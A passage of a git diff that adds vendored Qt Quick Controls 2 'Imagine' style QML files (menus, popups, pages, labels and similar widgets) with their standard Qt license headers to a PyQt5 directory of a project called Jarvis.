https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Templates 2.15 as T + +T.HorizontalHeaderView { + id: control + + implicitWidth: syncView ? syncView.width : 0 + implicitHeight: contentHeight + + delegate: Rectangle { + // Qt6: add cellPadding (and font etc) as public API in headerview + readonly property real cellPadding: 8 + + implicitWidth: text.implicitWidth + (cellPadding * 2) + implicitHeight: Math.max(control.height, text.implicitHeight + (cellPadding * 2)) + color: "#f6f6f6" + border.color: "#e4e4e4" + + Text { + id: text + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] + : model[control.textRole]) + : modelData + width: parent.width + height: parent.height + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + color: "#ff26282a" + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ItemDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ItemDelegate.qml new file mode 100644 index 00000000..0b3edeaf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ItemDelegate.qml @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.ItemDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 12 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.text + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.text + } + + background: NinePatchImage { + source: Imagine.url + "itemdelegate-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Label.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Label.qml new file mode 100644 index 00000000..82c0ef47 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Label.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Label { + id: control + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + color: control.palette.windowText + linkColor: control.palette.link + + background: NinePatchImage { + source: Imagine.url + "label-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Menu.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Menu.qml new file mode 100644 index 00000000..832565e6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Menu.qml @@ -0,0 +1,108 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 +import QtQuick.Window 2.12 + +T.Menu { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topMargin: background ? background.topInset : 0 + leftMargin: background ? background.leftInset : 0 + rightMargin: background ? background.rightInset : 0 + bottomMargin: background ? background.bottomInset : 0 + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + delegate: MenuItem { } + + contentItem: ListView { + implicitHeight: contentHeight + model: control.contentModel + interactive: Window.window + ? contentHeight + control.topPadding + control.bottomPadding > Window.window.height + : false + clip: true + currentIndex: control.currentIndex + + T.ScrollIndicator.vertical: ScrollIndicator { } + } + + background: NinePatchImage { + source: Imagine.url + "menu-background" + NinePatchImageSelector on source { + states: [ + {"modal": control.modal}, + {"dim": control.dim} + ] + } + } + + T.Overlay.modal: NinePatchImage { + source: Imagine.url + "menu-overlay" + NinePatchImageSelector on source { + states: [ + {"modal": true} + ] + } + } + + T.Overlay.modeless: NinePatchImage { + source: Imagine.url + "menu-overlay" + NinePatchImageSelector on source { + states: [ + {"modal": false} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/MenuItem.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/MenuItem.qml new file mode 100644 index 00000000..f85fc657 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/MenuItem.qml @@ -0,0 +1,138 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.MenuItem { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 6 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.windowText + + contentItem: IconLabel { + readonly property real arrowPadding: control.subMenu && control.arrow ? control.arrow.width + control.spacing : 0 + readonly property real indicatorPadding: control.checkable && control.indicator ? control.indicator.width + control.spacing : 0 + leftPadding: !control.mirrored ? indicatorPadding : arrowPadding + rightPadding: control.mirrored ? indicatorPadding : arrowPadding + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.windowText + } + + arrow: Image { + x: control.mirrored ? control.leftPadding : control.width - width - control.rightPadding + y: control.topPadding + (control.availableHeight - height) / 2 + + visible: control.subMenu + source: Imagine.url + "menuitem-arrow" + ImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + indicator: Image { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + + visible: control.checkable + source: Imagine.url + "menuitem-indicator" + ImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + background: NinePatchImage { + source: Imagine.url + "menuitem-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/MenuSeparator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/MenuSeparator.qml new file mode 100644 index 00000000..9ed39087 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/MenuSeparator.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.MenuSeparator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + contentItem: NinePatchImage { + source: Imagine.url + "menuseparator-separator" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored} + ] + } + } + + background: NinePatchImage { + source: Imagine.url + "menuseparator-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Page.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Page.qml new file mode 100644 index 00000000..07ec0a75 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Page.qml @@ -0,0 +1,73 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Page { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitHeaderWidth, + implicitFooterWidth) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding + + (implicitHeaderHeight > 0 ? implicitHeaderHeight + spacing : 0) + + (implicitFooterHeight > 0 ? implicitFooterHeight + spacing : 0)) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + background: NinePatchImage { + source: Imagine.url + "page-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/PageIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/PageIndicator.qml new file mode 100644 index 00000000..8da89f5a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/PageIndicator.qml @@ -0,0 +1,92 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.PageIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + delegate: Image { + source: Imagine.url + "pageindicator-delegate" + ImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": pressed}, + {"current": index === control.currentIndex}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} // ### TODO: context property + ] + } + } + + contentItem: Row { + spacing: control.spacing + + Repeater { + model: control.count + delegate: control.delegate + } + } + + background: NinePatchImage { + source: Imagine.url + "pageindicator-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Pane.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Pane.qml new file mode 100644 index 00000000..970b22b9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Pane.qml @@ -0,0 +1,69 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Pane { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + background: NinePatchImage { + source: Imagine.url + "pane-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Popup.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Popup.qml new file mode 100644 index 00000000..8f69bef4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Popup.qml @@ -0,0 +1,87 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Popup { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : undefined + leftPadding: background ? background.leftPadding : undefined + rightPadding: background ? background.rightPadding : undefined + bottomPadding: background ? background.bottomPadding : undefined + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + background: NinePatchImage { + source: Imagine.url + "popup-background" + NinePatchImageSelector on source { + states: [ + {"modal": control.modal}, + {"dim": control.dim} + ] + } + } + + T.Overlay.modal: NinePatchImage { + source: Imagine.url + "popup-overlay" + NinePatchImageSelector on source { + states: [ + {"modal": true} + ] + } + } + + T.Overlay.modeless: NinePatchImage { + source: Imagine.url + "popup-overlay" + NinePatchImageSelector on source { + states: [ + {"modal": false} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ProgressBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ProgressBar.qml new file mode 100644 index 00000000..2f78004e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ProgressBar.qml @@ -0,0 +1,142 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 +import QtGraphicalEffects 1.12 + +T.ProgressBar { + id: 